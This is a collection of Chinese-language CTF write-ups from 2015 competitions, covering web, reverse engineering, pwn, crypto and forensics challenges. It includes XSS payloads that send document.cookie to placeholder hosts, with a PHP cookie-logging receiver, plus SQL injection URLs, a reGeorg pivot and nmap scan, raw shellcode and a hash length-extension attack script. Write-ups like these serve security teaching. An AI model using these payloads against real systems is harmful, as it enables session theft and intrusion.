看URL就可以很容易发现可能会出现php的文件包含漏洞,测试可以知道漏洞确实存在。再通过http头和README.PHP文件的提示,可知得获取README.php的源码。利用LFI来获取源码的方法就是通过php://伪协议将文件进行base64编码,再解码来得到源代码。具体就是include.php?file=php://filter/read=convert.base64-encode/resource=README.php

小明二
通过提示拿到源码后,可以看出是一个由extract函数引起的变量覆盖问题。extract函数可以从数组中把变量导入到当前的符号表中,相当于定义变量。该函数的第二个参数没有传入值时为默认的EXTR_ORVERWRITE值,也就是存在冲突时,会覆盖已有的变量。php中的$_REQUEST可以接收通过get和post还有cookie传过来的值。最简单的方式就是通过get的方式来拿到flag。index.php?whattodo=save the world!。由于给了源码,导致有的童鞋只看下面的判断语句就传值拿下了-_-

饼干饼干饼干
抓包加入Referer: http://www.google.com,可以让服务端以为是通过谷歌页面跳过来的。然后再修改cookie中用来判断是否是管理员的is_admin的值为1就可以拿到flag

三叶草留言板
先是做的盲打的,后来增加的一个测试页面。在测试页很容易测出做的过滤只是把src弄成了0,用编码或者跳转还是很容易绕过的。
良辰服了队伍的payload:

<script>document.write(String.fromCharCode(60, 115, 99, 114, 105,
112, 116, 32, 115, 114, 99, 61, 104, 116, 116, 112, 58, 47, 47, 119,
119, 119, 46, 120, 115, 115, 115, 101, 114, 118, 101, 114, 46, 99,
111, 109, 47, 107, 81, 104, 56, 109, 1
10, 63, 49, 52, 52, 53, 51, 52,
54, 56, 54, 57, 62, 60, 47, 115, 99, 114, 105, 112, 116,
62))</script>

南有嘉木队伍的payload:

<script>window.open('http://xxxx/cookie.asp?ms
g='+document.cookie)</script>
<script>window.open('http://xxxx/cookie.asp?ms
g='+windows.location.href)</script>

tw0_cat3队伍的payload:

<script>document.location = ‘http://xxx.com/cookie.php?cookie=’+document.cookie;</script>

接收端的php脚本

<?php
$cookie = $_
GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time=date('Y-m-d g:i:s');
$referer=getenv ('HTTP_REFERER');
$agent = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen('cookie.txt', 'a');
fwrite($fp," IP: " .$ip. "n Date and Time: " .$time. "n User Agent:".$agen
t."n Referer: ".$referer."n
Cookie: ".$cookie."nnn");
fclose($fp);
header("Location: http://www.google.com");
?>

web500(一)
这是一个实战题,开始是一个dz7.2的论坛,百度一下dz7.2 漏洞 就可以发现然这个注入了。

http://hackme.sycsec.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)%23


然后通过继续构造语句之后发现,注入出来的uckey不能拿到shell的。而且管理员的hash也解不开。然后扫一发目录,可以发现这个站还存在一个Wordpress搭建的博客系统。
在注入点,发现我们可以控制wordpress的数据库,所以去查询wordpress的密码,很遗憾。wordpress的密码无法解开。这时需要利用wordpress老版本的一个设计缺陷,首先通过重置管理员的密码,然后会在数据库中生成一个找回密码的key。只要我们知道这个key就可以找回密码了。

然后执行

http://hackme.sycsec.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select user_activation_key from wordpress.wp_users limit 0,1),floor(rand(0)*2))x from information_schema .tables group by x)a)%23

构造url来重置管理员密码

http://hackme.sycsec.com/blog/wp-login.php?action=rp&key=79RyLeu773OkkYjV3Wca&login=admin


然后到后台拿shell

可以看到第一个flag

web500(二)
通过第一个的提示可以知道,第二个flag在192.168.206.140这个ip上面。我们可以开一个代理进入内网。上传一个代理脚本

然后开启socks5代理

python reGeorgSocksProxy.py -u http://hackme.sycsec.com/blog/wp-content/plugins/akismet/syclover.php -l 127.0.0.1 -p 8888

然后使用namp进行端口扫描

proxychains4 -q -f proxy nmap -Pn -sT 192.168.206.140

可以发现开了一个8888的端口

访问发现就是一个tomcat


通过对前面密码的分析可以知道tomcat的密码可能为tomcat123,因为在前面的数据库连接文件中dz为dz123 wordpress为wordpress123
然后成功进入后台,就可以部署war,拿到第二个flag


 

 

 

 

 

0x02Reverse

好简单啊
很简单的Windows平台的CM ,只是对输入的字符做长度判断、范围判断之后进入校验算法。
长度16, 范围纯数字


由此得出flag是 SYC{1341910478870402}

简单的linuxRE
没干扰,直接IDA F5看算法,或者gdb调试看都可以



可以看出就是简单的异或之后字符串逐位比对
SYC{Ea3y_C7ack_Me_Have_Fun}

据说可以找到什么
有点类似CUIT十一届校赛的题目,把输入字符串加密之后写到一个文件。题目给出的是加密程序和密文,flag是明文。
先upx脱壳,之后发现里面加了ptrace()反调试,利用这点反调试是基于gdb的工作原理去做的。
对策:gdb载入,对 ptrace下断,之后 run,再return 回去,找到入口点,对入口点下断,就绕过了 ptrace() 反调试;或者修改寄存器去bypass。

虽然加了点混淆,但是算法还是很好找(IDA F5并没有多好用,直接gdb调试会好点)

算法:高低4bit的交换,最后一轮循环异或

SYC{edk2:\L3mon_233333_download}
ps:强行黑了一波柠檬叔叔

Win_Easy
TLS和静态分析的干扰

用了学弟的一个图,当时自己做得时候没留图
TLS 不为空,nop掉或者是加cc运行起来,调试器里把反调试干掉都可以。
之后就是找算法了
调试器调试发现算法:取两个字符串奇偶位组合组成的。

//奇数
int str1[31] = { 00,117,00,95,00,48,00,95,00,48,00,95,00,104,00,95,00,76,00,71,00,84,00,76,00,49,00,95,00,117,00 };
//偶数
int str2[31] = { 72,00,104,00,89,00,117,00,71,00,116,00,84,00,51,00,70,00,65,00,95,00,83,00,95,00,115,00,70,00,110 };

最后得到 Huh_Y0u_G0t_Th3_FLAG_TSL_1s_Fun
加上SYC{Huh_Y0u_G0t_Th3_FLAG_TSL_1s_Fun}提交

 

换个口味
放个炒鸡简单的android逆向吧,用户名是syclover
这个是可以插桩直接Log把flag打印出,也可以反编译之后看代码去解



可以看关键算法是这个base64 (不过table被换掉了,要自己写base64的解密)
其实里面还写了des、查表替换,也调用了,但是只是干扰
真正的算法是 base64(base64(“syclover”))

SYC{ekiceaIVhzaTgEm#} 提交即可

SYC美男子(一)
栈溢出
问题出在 meinanzi() 这个函数,在输入的时候没有做限制,导致可以栈溢出,执行任意代码。

测试之后发现,payload的结构应该是

payload = 140*“A” + “BBBB”

就可以控制EIP了,bin文件中给了一个 读取flag的函数,但是没调用,把EIP覆盖为这个函数的地址,就可以拿到一个flag(100分)
exp如下:

这样就可以读取到第一个flag

美男子 (二)
系列二,这时候要拿shell了

通过调试发现,当payload是

payload = “A”*140+”BBBB”+”C”*100
eip被覆盖成 0x42424242 此时的esp指向填充的C字符
也就是说 我们可以把shellcode放在后面,通过找到 jmp esp 指令跳过去执行shellcode拿到shell

但是注意:scanf()函数 0x0a 0x0b 截断 0x0c会变成 0x00
在找跳板和找shellcode的时候要避免这些字符
最终exp如下

打一下本地试试

Ok~

玩泥巴
先静态分析,发现运行结果与代码中的逻辑不同,可以看到有个共享库libwanniba.so,开始分析这个,在my_init111里修改了Method结构的成员指向了dex文件末尾一段

Method结构体:

其中修改的就是insns这个字段,这个字段指向方法的代码,程序在运行的时候,通过libwanniba.so把docheck的insns指向另一块代码,所以静态看到的代码和运行的代码不同。通过分析my_init111可以找到真正的代码在dex文件的末尾,所以只要修改dex文件中docheck的codeoff,使它指向末尾的代码然后反编译就可以看到真是代码了。

linux_re100
描述为非常非常非常非常简答的哪个,确实非常简单;
Linux 下 ,strings 一下,就可以得到flag

Linux re200_1
运行报错—————————但这是骗人的。

用ida打开,反汇编主函数,得到

可以看到第21行在对mian 函数的第一个参数做判断,main 函数的第一个参数表示是程序接受的参数。由此可知,需要向程序提供两个参数。输入任意两个参数后,程序没提示,

说明输入错误。在返回ida 分析。在第25对第一个程序参数进行处理:把输入的每个字符右移3为 | 左移5位。
,第27行对第二个程序参数进行处理:把每个字符右移2位,左移动6位。
第28行对两个字符串进行合并操作,将第一个参数放在数组的奇数下标,第二个参数放在偶数下标。
第30行,对合并得到的字符串,与加密后的字符对比。进行验证。
我们可以写出如下代码,得到flag:


到这里,还需要进行一部,,,(我知道坑了很多人。。。我的错),两个字符串进行合并操作,将第一个参数放在数组的奇数下标,第二个参数放在偶数下标。

得到最终flag:*)_GooD__Jo0B_(* (我的锅,,开脑洞了)

Linux Re200(c++写的那道)

可以看到0x4012E2,在进行跳转判断,就是进行输入用户名判断。而判断用户名是0x4012E0,那行,call eax,由于是用c++ 写的,所以我们知道,这是动态调用,所以我们必须找到相关对象的构造函数,从而找到虚拟函数地址。由于对象的相关数据(首地址)是通过rdi传送,可以根据,0x4012D0那行,定位到对象的首地址,为rbp-20,从而,得到0x40128D那行是构建该对象的构造函数。
又由于,虚函数,一般存在对象的首地址,我们可以分析到判断用户名的虚拟函数,刚好是为与虚函数表的第一个。那么跟进sub_40158E函数

可以看到,0x40159E那行,对对象的首地址复制为虚函数的首地址。跟进虚函数首地址,

又由于,我们刚刚的知,判断用户名的函数为虚函数表中的第一个函数,所以我们得到判断用户名的函数为上图标记为黄色的函数。
跟进。

可以看到,在对输入的用户名长度,判断是否为7位,如果不是的话,就GG。
用以上的分析法,我们可以找到验证flag的函数,在这里,我就不罗嗦,直接找到验证flag的函数吧(地址为4011AE)。
就是 (对输入的字符-4)^32的操作

提醒一下,由于上面标记为黄色的地址,是加密后的字符,由于是全局变量初始化,所以为空,可以用gdb 得到加密后的字符串。

现在我们可以写出揭秘算法了:

Flag:Y0u_Can_&Rea11y_D0_It.

Windows下的由于做出来的人,比较多,我就把别人写的writeup贴出来吧

简单Win_RE(南有嘉木--F_3nG写的(感谢))
拖进od后可以看见程序大概流程

往下走,找到关键函数

算法如下

修改0x401026为jmp short 00401002,保存为新文件,然后同目录下创建一个flag.bat,在其中输入所有可输入的字符,就可以得到一张对应表,如下

找到关键字符串后,对应可以从表中找出

加上SYC{}就是flag
Ps:可以用ida看算法,直接逆向写程序得出flag。

Win_Re200(南有嘉木–F_3nG写的(感谢))
OD下一个GetDlgItemTextA断点,就可以跟踪如下

跟进校验密码的call,发现对我们输入的密码处理(具体算法不用具体看),那么下面一定有一串字符用来和处理后的密码比较

找到用来和密码比较的字符串

又因为如下

每三位比较一次,所以最后用来和密码比较的字符串对应的16进制是
33 56 F6 16 B5 F2 B5 94 16 A7 33 B6 92 24 53 D7 52
修改一些汇编,存为新文件,输入每个可显字符,得到下面的表

一一对应寻找,可以得到flag 7ake_+_Me~7o-F1y!(上传时加上SYC{})

0x03Linux

神秘代码并不神秘

\xbf\x23\x10\x4e\xbb\xdd\xc6\xd9\x74\x24\xf4\x58\x2b\xc9\xb1
\x13\x31\x78\x13\x03\x78\x13\x83\xc0\x27\xf2\xbb\xd1\x2c\xaa
\xda\x74\x54\x22\xf0\x1b\x11\x55\x62\xf3\x52\xf2\x73\x63\xbb
\x60\x1d\x1d\x4a\x87\x8f\x09\x6a\x48\x30\xca\x17\x2b\x58\xa5
\xf7\x89\xcb\x60\xb4\xb6\xb8\xfa\x5f\x25\x53\x98\xaf\xd1\x98
\x01\xa6\x6a\x80\xd4\x56\xf9\x5b\x55\xf5\x75\xcd\xf7\xbe\x2a
\x4d\x75\x62\xd5\x1a\xd6\xeb\x34\x69\x58

想到是一串shellcode,想办法执行起来试试
关键是要关闭栈保护 否则是不能执行的


SYC{Shellc0d3__is_interStinG_@}
ps:出题人当时没注意拼写…

遗失的密码
根据题目提示:密码的组成是由用户名+日期
密文下面是root,但是管理员是叫joker,大家自己体会。
生成字典joker+日期
然后放大hashcat跑一发
hashcat -m 1800 -a 0 -o found1.txt --remove crack1.hash 500_passwords.txt
得到flag:
$6$F84utBXh$g2dDb6QXacuId.5NDwrvyPxIJGxiU8gyhTywRP5jksb6e/CgeG94/THLJhgZ4oB8hPow
rLPdmVWFIZTBZdT6S/:joker19820716

0x04Misc

口号更新
hi!你的flag掉了,在zone里面,同样存在一个小提示,快去更新口号,听说更新内容为flag_flag_flag的时候会爆出flag。

去年是get数据过去更新口号,今年就稍微的改变了一下,用post传递数据
题意:zone里有小提示 ,查看源代码,发现:

访问:geek.sycsec.com/slogan 然后post的名是slogan,值是flag_flag_flag

得到flag

仔细看一看
首先看看图片是有隐藏了什么数据段

看来只有一个压缩包,然后里面还有一个叫flag.txt的文件
直接改后缀为zip打开

一串unicode编码,解码得到VBF{Wk3_Hqf0g3_I0u_b0x_1x}
再根据flag的固定格式是知道前面三位是SYC,所以前移移位(凯撒密码),得到SYC{Th3_Enc0d3_F0r_y0u_1u}

会不会写代码
Binwalk分析下载的文件,是一个zip文件。

一个明显的git的文件夹,git log是看不到的,需要去执行一下git relog,然后回退一下。

或者执行 git reset –hard ORIG_HEAD

看到有一个队是这样解的,直接去读取git里面的object的文件。

0x05Program

Transposition cipher
考点:基础编程能力:数组、循环
> SYC{T4anSp0sIti06_Cip63r_666}

按照题意描述编写解码程序即可
1. 列置换, python

2. c
> 读完题后很容易就可以想到用数组存储密文并模拟解密的过程来得出答案,不过有如下几点需要注意的地方:
> 1.密钥是 1~7,故应该将密文处理为 7 组。
>2.确定存储密文、明文数组的大小。将密文复制到 word 中进行统计字数之后,决定用[10000]的 char 数组来存储密文,用[7][1500]的 char 数组来存储中间数据。
>3.用 while 循环 getchar()!=EOF 来读取密文,用变量 i 记录密文字符数。
>4.确定中间数据每组的元素数。一共 7 组,每组存储元素数为((i%7)+i)/7。
>5.for 循环将密文数据数组处理到中间数据数组中。
>6.for 循环将中间数据按照 key 输出。

#include<stdio.h>
//2015.10.10
char password[10000];
char p[7][1500];
int key[7] = {7,6,5,2,1,3,4};

int main()
{
int i = 0,j,num;
while((password[i] = getchar())!= EOF) // or EOF
i++;
num = ((i%7)+i)/7;
for(i = 0;i < 7;i++)
for(j = 0;j < num;j++)
p[i][j] = password[num * i + j];
for(i = 0;i < num;i++)
for(j = 0;j < 7;j++)
printf("%c",p[key[j] - 1][i]);
return 0;
}

消失的flag
知识点:hash碰撞(CRC32碰撞)、从流量中提取文件
> flag:SYC{cRc32_C0l1isioN}

首先从流量中提取文件,参考http://bobao.360.cn/learning/detail/206.html
可以看见图片上的文件校验信息,
从图片上可以获取如下信息:
文件为txt纯文本文件,大小为4字节,和这四字节可见ascii码的各种hash校验值。
1. 穷举四个字节计算hash非常快,普通pc几分钟即可穷举所有可见ascii字符的hash值,即可得到flag。

2. 去cmd5等在线hash破解网站查表获取明文

土豪的密码
知识点:仿射密码、同余方程、模逆元
加密算法为仿射密码,密钥空间扩充到了可见ascii字符集,但是密钥空间还是非常小,可以穷举破解。

1. 逆算法,模逆元

cipher = "2a50492e5e6f61725b4a51203e25494974227b3c72487250".decode('hex')
plain = ''
for i in cipher:
plain += chr(((ord(i) - 32) * 55 + 65) % 96 + 32)
print plain

2. 由加密算法可知明文密文一一映射,可见ascii字符都用加密算法加密一遍得到对应密文,用密文查表即可得到flag。

运行代码得表,然后将txt的hex转化为字符串,一一对应即为flag。

3. 回推,试除

#include "stdafx.h"
int main()
{
int i;
while (1)
{
scanf_s("%x", &i);
i = i - 57;
while (i % 7 != 0)
{
i += 96;
}
i = i / 7 + 32;
printf("%c\n", i);
}
return 0;
}

2015 360初赛 writeup

0x00 前言
上周360的比赛,也进入了决赛。

0x01 web
web10

首先保存那个图片,然后用winhex在尾部发现

Where is the key?{ZW1lbS4uLiAvY3RmXzM2MF9mbGFn}

然后base64_decode之后,为emem… /ctf_360_flag 后面群里提示苹果电脑,然后访问
mac下每个目录都有的文件.DS_Store
http://isg.campus.360.cn/web1/ctf_360_flag/.DS_Store
成功拿到flag

web20
首先拿到泄露的源码
http://isg.campus.360.cn/web2/check.php.swp

<?php
/***
此处为提示
$code=0000000000;
admin code 0
user code  1
test code 2
***/
len_check($_GET['code'],10)

if(!empty($_GET['email']) && !empty($_GET['code'])) 
{ 
    if(!$db->count('admin',"email='{$_GET['email']}' ANDcode='{$_GET['code']}'")) 
        die('error');
    $_SESSION['email']= $_GET['email']; 
        ..........
}
?>

然后找到了p神这篇文章
遇到一个有趣的逻辑漏洞


然后我们构造code为000000000x
code的长度要为十因为源码里面有len_check($_GET[‘code’],10),0是代表admin.然后成功拿到flag。
没发现这篇文章之前还写了个脚本在跑。就是先获取code,然后提交。跑了一下午然后并没有什么卵用。

web40
http://isg.campus.360.cn/web3/
这个题也是给了一个图片

看到文件的结尾

--.  ..  ..-.  ---..  ----.  .-  ;
<..--..  .--.  ....  .--.   $.-   = "-----  .-.-.-  .----  ";$-...   = $_--.  .  -  [.----.  -...  .----.  ];..  ..-.  ($-...   -.-.--  = .----.  .----.  ){    ..  ..-.   (..  ...  _.-  .-.  .-.  .-  -.--  ($-...  )){        .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";        .  -..-  ..  -  ;    }.  .-..  ...  .  ..  ..-.  (-.-.--  ..  ...  _-.  ..-  --  .  .-.  ..  -.-.  ($-...  )){       $-.-.   = (..  -.  -  )(($.-   + $-...  ) * .----  -----  );        ..  ..-.   ($-.-.   == "---..  " && $-...  [.----  -----  ] == ..-.  .-  .-..  ...  .  ){            .  -.-.  ....  ---   "..-.  .-..  .-  --.  ";        }.  .-..  ...  .  {            .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";            .  -..-  ..  -  ;        }    }.  .-..  ...  .  {        .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";    }}.  .-..  ...  .  {    .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";}..--..  >

可以看到是莫尔斯编码加上了php的一些语法,把莫尔斯编码还原之后就可以得到php代码

GIF89a;
<?php
    $a= "0.1";
    $b= $_GET['b'];
    if($b! = '' )
    {
        if(is_array  ($b))
        {
            echo "nokey!";
            exit;
        }
        else if(!is_numeric ($b ))
        {
            $c   = (int)(($a + $b  ) * 10 );
            if  ($c   == "8" && $b  [10 ] == false )
            {
                echo   "flag ";
            }
            else 
            {
                echo  "nokey ";
                exit  ;
            }
        }
        else {echo  "nokey ";}
    }
    else {echo  "no  ";}
?>

就是要想办法绕过 对is_array和is_numeric的检查,进入flag的分支里
首先是绕过is_array,可以传一个数字进去,但是数字的话又会过不了is_numeric
这里用到的一个trick是 0.7a,在数字之后加上a之类的,变成str的类型,但是经过(int)类型转换之后又会变成0.7
尝试传入b=0.7a,可以本地搭建起来调试,var_dump($c);把$c的结果打印出来发现是7
尝试传入b=0.8a,$c这个时候是9,这个是php的浮点数的精度的问题
传入b=0.75a就可以获得flag了
http://isg.campus.360.cn/web3/?b=0.75a

web160
这题其实是一个xss的题目,因为页面描述说管理员会记录你的一切操作。先打了一发cookie,然后修改cookie。发现直接跳到首页,并没有什么卵用。后面用ajax偷到了页面的源码。通过分析源码发现,有一个添加用户的地方。首先xss的payload

</textarea>'”><script src=http://t.cn/R2CvZvl></script>

然后我们构造一个ajax添加一个账号。

var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions);
} catch(e) {}
}
}
xmlhttp=request;

var url= "/web5/adduser";  
var params ='name=appleu0&pass=ahaha&submit=ok';
xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "Keep-Alive");

xmlhttp.send(params)

然后提交

<script src=http://km2.in/360.js></script>
登陆之后成功拿到flag


0x02 re
re40
先查字符串,发现了一个人名和 Congratulations.跟进去看下可以找到核心判断.

前面一个call(call 0x45b330) 是处理输入字符串的奇偶位,生成一个新字符串.
后面一个call(call 0x47e2d0) 是与正确的的字符串比较.

在后面的动态分析中可以找到正确的字符串,然后处理下即可得到flag.
如下图,0012d050的字符串就是最后比较的.

a = '533168596d66594751343451'
b = '74524c71354b575937773d3d'
c = ''
for i in xrange(len(a)):
    c+=a[i]
    c+=b[i]
    i+=1
print c

flag:57343512648c579163d5646b5597457953173747334d531d

re80
这个题目的pdf下载下来360直接报毒,然后打开空白,以前在一个ctf也遇到过。就是找到受影响的adobe reader的版本,然后打开就行了。然后这次就有经验了。先用kali下面的peepdf跑了一发,然后发现是一个cve

然后谷歌cve编号,发现

8.1.2下的版本都受影响。然后在虚拟机里下载了一个adobe reader,然后运行就是直接弹flag了。

0x03 网络协议
网络协议20
下载完数据包之后,然后过滤http请求

然后丢到chrome的console解密



0x04 加解密
加解密10
BHUK,LP TGBNHGYT BHUK,LP UYGBN TGBNHGYT BHUK,LP BHUK,LP TGBNHGYT BHUK,LP TGBNHGYT UYGBN
这个题提示是个键盘有关系的,其实看看也能看出来BHU是连一起的 TGB也是连一起的
只是有一个分割的问题,一开始用,去分割就没有做出来,要用空格来分割,可以得到

BHUK,LP 
BHUK,LP 
TGBNHGYT 
BHUK,LP 
UYGBN 
TGBNHGYT 
BHUK,LP 
BHUK,LP 
TGBNHGYT 
BHUK,LP 
TGBNHGYT 
UYGBN

一共有3类

BHUK,LP
UYGBN
TGBNHGYT

我们尝试在键盘上把他们画出来,记得,也要占一个键位的

BHUK,LP   :N
UYGBN     :C
TGBNHGYT  : B

然后就是按照他的顺序输出flag了
NNBNCBNNBNBC

加解密20
给了一个shell文件,提示是后门的密码就是flag

<?php 
eval(gzinflate(base64_decode("pZLdSsNAEIXvBd+hTmOzMXTbFC3UGhtFEANWlLZES5OgvauoIFho2jy7s7PJhMSIF5Kbb2fPzs+Z7O8ZiYAmhLAFS9bQzhUQIboUPECKiUQDMSFMkYZIZt+U5nFkYijB0Kh0KfCcp+5wlh+6YaO2H9VFbW2BNK8U2iJJoiOk9Pek4q/ZBTwG481T4HeD3mC9vH79en67fb+fjScPM38aOMvL6erEn6xePm+uLj7u1i669I9qAucL4ZSDesQWC9WwHlGxkZRpwW9t1ikrDCRwAE87dtvm7EphlRQd3taC6AwpIjJ4A4XFkhcQ81uhbZcw6EN20a67mHPHxX8Qc+YQP7vyvxQJIHNBa9usUBMcck5d1kNqEVmZl9CDkmNNnsLIFV3IKnsVRT4OOCQJdRNq76Pzbw==")));
>

有这种解eval的特别方便的
使用evalhook方式解密php源代码

在kali下跑跑
php -d extension=evalhook.so shell.php

这个特殊的字符串就是flag了
p4n9_z1_zh3n9_j1u_Sh1_J13

加解密40

NTU2NJC3ODHHYWJIZ3P4ZWY=
其实这是一个变异的base64.我们挨个把字母的大小写跑一遍,然后提取可见字符。

然后第二个flag就是正确的。

0x05 系统
系统20
shellsock的exp打一发

2015 强网杯初赛 writeup

0x00 强网杯解题报告
Team:Syclover
前两周的比赛

0x01 密码
old-fashion 100

Os drnuzearyuwn, y jtkjzoztzoes douwlr oj y ilzwex eq lsdexosa kn pwodw tsozj eq ufyoszlbz yrl rlufydlx pozw douwlrzlbz, ydderxosa ze y rlatfyr jnjzli; mjy gfbmw vla xy wbfnsy symmyew (mjy vrwm qrvvrf), hlbew rd symmyew, mebhsymw rd symmyew, vbomgeyw rd mjy lxrzy, lfk wr dremj. Mjy eyqybzye kyqbhjyew mjy myom xa hyedrevbfn lf bfzyewy wgxwmbmgmbrf. Wr mjy dsln bw f1_2jyf-k3_jg1-vb-vl_l

提示是古典密码,其实这里分成了两句了,以;分隔
http://www.quipqiup.com/index.php
这个网站可以解,分成两段解

In cryptography, a substitution cipher is a method of encoding by which units of plaintext are replaced with ciphertext, according to a regular system; the units may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. The receiver deciphers the text by performing an inverse substitution. So the flag is n1_2hen-d3_hu1-mi-ma_a

Flag就是n1_2hen-d3_hu1-mi-ma_a

salt 300
读脚本发现url的参数是用字典类型存储的,key相同的参数会被后面的覆盖掉。
于是构造/login?username=admin&password=1&password=123456即可通过第二种验证方式。
但是第二种方式还需要url的mac,而服务器给出的mac会有7位被替换成x,无法直接得到mac。
google后发现此题符合长度扩展攻击的条件,于是枚举mac中的7个x,通过hashpumpy库计算出扩展的mac,和服务器给出的mac对比,即可爆破出正确的mac。
最后需要碰碰运气,当遇到服务器给出第二种验证方式时,发送url和爆出的mac即可得到flag。

#!/usr/bin/python
import socket
import subprocess
import sys
from hashpumpy import hashpump

s = socket.socket()
#s.connect(("127.0.0.1",4444))
s.connect(("119.254.101.197",10004))
s.recv(1024) #welcome info

def gethash(u,p):
    s.recv(1024)  #create count?
    s.send("Y\n")
    s.recv(1024)  #input user:
    s.send(u+"\n")
    s.recv(1024)  #input pass:
    s.send(p+"\n")
    return s.recv(1024) 

index = 0L
def keepalive():
    global index
    print "keepalive:",gethash("123",str(index))
    index += 1

 
#h1  = "194ce5d0b89c47ff6b30bfb491f9dc26"   
h1 = gethash("1","1")[:-1]
l1 = list(h1)
h2 = gethash("1","1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01`&password=123456&username=admin")[:-1]

def ver():
    global h2
    hashstr = ''.join([i for i in l1])
    ret = hashpump(hashstr,\
    '/login?username=1&password=1',\
    '&password=123456&username=admin',\
    16)
    #ret = ("a"*40,213)  
    sig = ret[0]
    for i in range(40):
        if h2[i] == 'x':continue
        if h2[i] != sig[i]:return False
    print "--------------------"
    print "sig:",sig
    return sig

xnum = 7
progress = 0
def dfs(depth):
    if depth == xnum: 
        global progress
        progress += 1
        if progress & 0x7ffff ==0:
            print progress
            keepalive()
        sig = ver()
        #sig = False
        if sig!=False:
            print s.recv(1024)#create account?
            s.send("n\n")
            ques = s.recv(1024)#input url:
            if ques.find('1')!=-1:
                print "bad luck"
                sys.exit()
            s.send("/login?username=1&password=1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01`&password=123456&username=admin")
            print s.recv(1024)#input sig:
            s.send(sig)
            print s.recv(1024)#flag
            sys.exit()
        else:
            return 
    pos = l1.index('x')
    for i in range(16):
        l1[pos] = format(i,'x')
        dfs(depth+1)
        l1[pos] = 'x'

def main():
    dfs(0)
    print 'fail :('

if __name__=="__main__":
    main()

0x02 取证与隐写
repartition 200

http://pan.baidu.com/s/1mgKfnDY 提取码: nshy 下下来
file命令 看disk.img这个镜像

disk.img: x86 boot sector; partition 1: ID=0x7, starthead 32, startsector 2048, 276480 sectors; partition 2: ID=0x7, starthead 86, startsector 278528, 337920 sectors, code offset 0x0

我们尝试恢复他丢失的文件,使用的是Eassos PartitionGuru Professional
Disk——open virtual disk——选择我们的img文件 把文件映射成虚拟磁盘
Tools——recover lost file 恢复丢失的文件

在pass这个文件夹发现了有两个文件,尝试提取出来

发现了secret.rar正是那个描述的加密压缩的rar文件
看看secretepass.txt,发现是一些没有意义的字符

看题目的描述就是被大文件覆盖了,我们来winhex来看看这个img
在文件里搜一下Flag.txt 可以找到rar的块
到$MFT里去找找,这里会有分区中的所有文件的记录

往前往后翻翻,就可以发现secretepass.txt的块

http://blog.csdn.net/a00553344/article/details/5039884
这篇文章中有$mft的说明,按着他来就行了

发现了这个,梅花香自苦寒来 是段有意义的
尝试一下,发现正是密码

flag{ch0n9x1n_f3n9u-fu_g41_yebu4nquan}

broken 300

http://match.erangelab.com/dl/broken.img.26c6f34421861784fd0c53f4ce708d99
下载下来是个img的
用linux的file命令看一下,是一个x86 boot sector, mkdosfs boot message display
发现是一个系统,尝试用vm来加载它


启动后发现是这样子的
然后我们使用badcopy来修复一下

发现了有FLAG这个文件,尝试提取出来
Winhex打开可以发现,前8byte都被修改成了00

但是IHDR是PNG格式图片的一个块,可以判断这就是一个png图片,把前8byte先修复了
89504E470D0A1A0A

再看到结尾,发现也没有IEND这个块,也修复了

49454E44AE426082
倒数8byte


图片的IDAT块只有一块,计算一下IDAT的长度可以知道是刚刚好的到IEND的。并没有插入其他的数据在文件结尾。
打开图片看看

发现是这样子的,并没有其他的东西了,可以去看各个颜色通道,也并没有发现什么类似与lsb的东西。
其实秘密藏在了IDAT块之中啊。写了一个python脚本,用来计算IDAT块的内容。

#encoding: utf-8
import zlib
import binascii
import struct

filepath = "./FLAG"
binfile = open(filepath,'rb')
IDAT = binfile.read()[894:-16]
binfile.close()

RGB = binascii.hexlify(zlib.decompress(IDAT))
PIXEL = len(RGB) / 2 / 3   #2:ff=256  3:RGB 
print "pixel:"+str(PIXEL)

height = PIXEL / int("320", 16) #320:width hex
print "height:"+str(height)
print "height hex:"+hex(height)[2:]

height = struct.pack('>i', height)
IHDR = '\x49\x48\x44\x52\x00\x00\x03\x20'+height+'\x08\x02\x00\x00\x00'
print "IHDR:"+IHDR.encode("hex")
CRC32 = hex(binascii.crc32(IHDR) & 0xffffffff)[2:-1]
print "CRC32:"+CRC32


可以看到实际的像数点是360150

是要超过了显示的800*400=320000的
结果计算,假设是只修改了高度,那么我们可以计算出正常的高度应该是450,hex是1c2

尝试着按照IHAR来修改,修改01 90 为01 c2
按照CRC32来修改,把D9479363改为98013a9f


flag{me1_m3ng-x1an9-he_yu3n-f3a9}

这个题的坑点主要就是在于修改了高度居然连crc32的校验也改为正确的,不好发现信息隐藏的地方。

0x03 Web渗透
最好的语言 100

大家都说 PHP 是世界上最好的语言,你也这么认为吗?
服务器请访问 http://119.254.101.197:22230/fca269b68b1efd69dd022764cd1d3ac0/index.php
http://119.254.101.197:22230/fca269b68b1efd69dd022764cd1d3ac0/index.php.bak

<?php

//TODO: connect to DB 

$id = $_GET['id'];

//TODO: sqli filter

$secretId = 1024;
if($id == $secretId){
    echo 'Invalid id ('.$id.').';
}
else{
    $query = 'SELECT * FROM notes WHERE id = \''.$id.'\';';
    $result = mysql_query($query,$conn);
